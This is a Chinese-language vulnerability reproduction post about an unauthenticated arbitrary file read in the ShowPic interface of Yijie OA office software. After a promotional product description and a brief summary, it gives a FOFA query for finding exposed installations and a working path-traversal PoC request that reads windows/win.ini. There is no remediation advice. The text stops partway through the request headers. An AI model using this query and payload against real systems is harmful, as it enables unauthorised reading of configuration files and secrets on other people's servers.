易捷OA协同办公软件 ShowPic 任意文件读取漏洞复现

0x01 产品简介

易捷OA协同办公软件是在“让管理更简单”和“实时协同”的理念的指导下，”本着“简约、实时、快捷、省钱”的产品定位，结合数千家客户的管理实践和当前最先进的IT技术开发出来的全新一代协同产品，在云计算、全文检索、手机应用、企业即时通讯等多方面取得突破性创新。易捷OA简单易学，全程导航，下载即用，在线升级，是国内唯一一款不需要操作手册的OA，是应用和技术的完美结合。

0x02 漏洞概述

易捷OA协同办公软件 ShowPic 接口处任意文件读取漏洞，未经身份验证的攻击者可以利用此漏洞读取系统内部配置文件，造成信息泄露，导致系统处于极不安全的状态。

0x03 复现环境

FOFA：body="/images/logon/bg_img.jpg"

0x04 漏洞复现

PoC

GET /servlet/ShowPic?filePath=../../windows/win.ini HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.3